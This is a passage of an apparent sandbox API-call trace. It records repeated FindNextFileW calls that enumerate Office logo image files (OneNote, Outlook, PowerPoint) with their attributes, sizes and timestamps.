FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.contrast-white_scale-180.png", cAlternateFileName="ON19DC~1.PNG")) returned 1 [0102.431] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.contrast-white_scale-80.png", cAlternateFileName="ONB09A~1.PNG")) returned 1 [0102.431] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x782, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.scale-100.png", cAlternateFileName="ON8AF0~1.PNG")) returned 1 [0102.431] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.scale-140.png", cAlternateFileName="ON4822~1.PNG")) returned 1 [0102.435] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.scale-180.png", cAlternateFileName="ON95B6~1.PNG")) returned 1 [0102.435] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x64e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.scale-80.png", cAlternateFileName="ON8B9B~1.PNG")) returned 1 [0102.435] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.contrast-black_scale-100.png", cAlternateFileName="OU5D17~1.PNG")) returned 1 [0102.435] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.contrast-black_scale-140.png", cAlternateFileName="OUTLOO~1.PNG")) returned 1 [0102.435] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.contrast-black_scale-180.png", cAlternateFileName="OU4261~1.PNG")) returned 1 [0102.435] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.contrast-black_scale-80.png", cAlternateFileName="OUTLOO~4.PNG")) returned 1 [0102.435] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.contrast-white_scale-100.png", cAlternateFileName="OUTLOO~3.PNG")) returned 1 [0102.435] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.contrast-white_scale-140.png", cAlternateFileName="OUTLOO~2.PNG")) returned 1 [0102.435] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.contrast-white_scale-180.png", cAlternateFileName="OUC015~1.PNG")) returned 1 [0102.435] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1b250ebf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b250ebf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b250ebf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.contrast-white_scale-80.png", cAlternateFileName="OU197C~1.PNG")) returned 1 [0102.436] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa86, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.scale-100.png", cAlternateFileName="OUBE28~1.PNG")) returned 1 [0102.436] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe66, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.scale-140.png", cAlternateFileName="OU7C59~1.PNG")) returned 1 [0102.436] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1155, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.scale-180.png", cAlternateFileName="OUC9ED~1.PNG")) returned 1 [0102.436] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x955, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogo.scale-80.png", cAlternateFileName="OU52E3~1.PNG")) returned 1 [0102.436] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.contrast-black_scale-100.png", cAlternateFileName="OU0B90~1.PNG")) returned 1 [0102.436] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.contrast-black_scale-140.png", cAlternateFileName="OU396E~1.PNG")) returned 1 [0102.436] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.contrast-black_scale-180.png", cAlternateFileName="OU86F2~1.PNG")) returned 1 [0102.436] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.contrast-black_scale-80.png", cAlternateFileName="OU0B51~1.PNG")) returned 1 [0102.436] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.contrast-white_scale-100.png", cAlternateFileName="OUFC89~1.PNG")) returned 1 [0102.436] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.contrast-white_scale-140.png", cAlternateFileName="OU4A1E~1.PNG")) returned 1 [0102.436] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.contrast-white_scale-180.png", cAlternateFileName="OU78EB~1.PNG")) returned 1 [0102.436] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.contrast-white_scale-80.png", cAlternateFileName="OU8EEC~1.PNG")) returned 1 [0102.436] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.scale-100.png", cAlternateFileName="OU6135~1.PNG")) returned 1 [0102.436] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.scale-140.png", cAlternateFileName="OU6CFB~1.PNG")) returned 1 [0102.440] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a74a04e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.scale-180.png", cAlternateFileName="OU2A2D~1.PNG")) returned 1 [0102.440] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x744, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.scale-80.png", cAlternateFileName="OU72E3~1.PNG")) returned 1 [0102.440] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.contrast-black_scale-100.png", cAlternateFileName="POWERP~3.PNG")) returned 1 [0102.440] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb02, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.contrast-black_scale-140.png", cAlternateFileName="POWERP~1.PNG")) returned 1 [0102.440] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.contrast-black_scale-180.png", cAlternateFileName="POA3C2~1.PNG")) returned 1 [0102.440] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.contrast-black_scale-80.png", cAlternateFileName="POB7FC~1.PNG")) returned 1 [0102.440] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.contrast-white_scale-100.png", cAlternateFileName="PO3D2C~1.PNG")) returned 1 [0102.440] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb61, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.contrast-white_scale-140.png", cAlternateFileName="PO7FFA~1.PNG")) returned 1 [0102.440] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd84, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.contrast-white_scale-180.png", cAlternateFileName="PO2276~1.PNG")) returned 1 [0102.440] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.contrast-white_scale-80.png", cAlternateFileName="POWERP~2.PNG")) returned 1 [0102.440] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.scale-100.png", cAlternateFileName="PO6386~1.PNG")) returned 1 [0102.440] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.scale-140.png", cAlternateFileName="POWERP~4.PNG")) returned 1 [0102.440] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd87, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.scale-180.png", cAlternateFileName="PODF31~1.PNG")) returned 1 [0102.440] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.scale-80.png", cAlternateFileName="PO0348~1.PNG")) returned 1 [0102.441] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x70a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.contrast-black_scale-100.png", cAlternateFileName="PO798C~1.PNG")) returned 1 [0102.441] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x802, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.contrast-black_scale-140.png", cAlternateFileName="PO54A4~1.PNG")) returned 1 [0102.441] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, 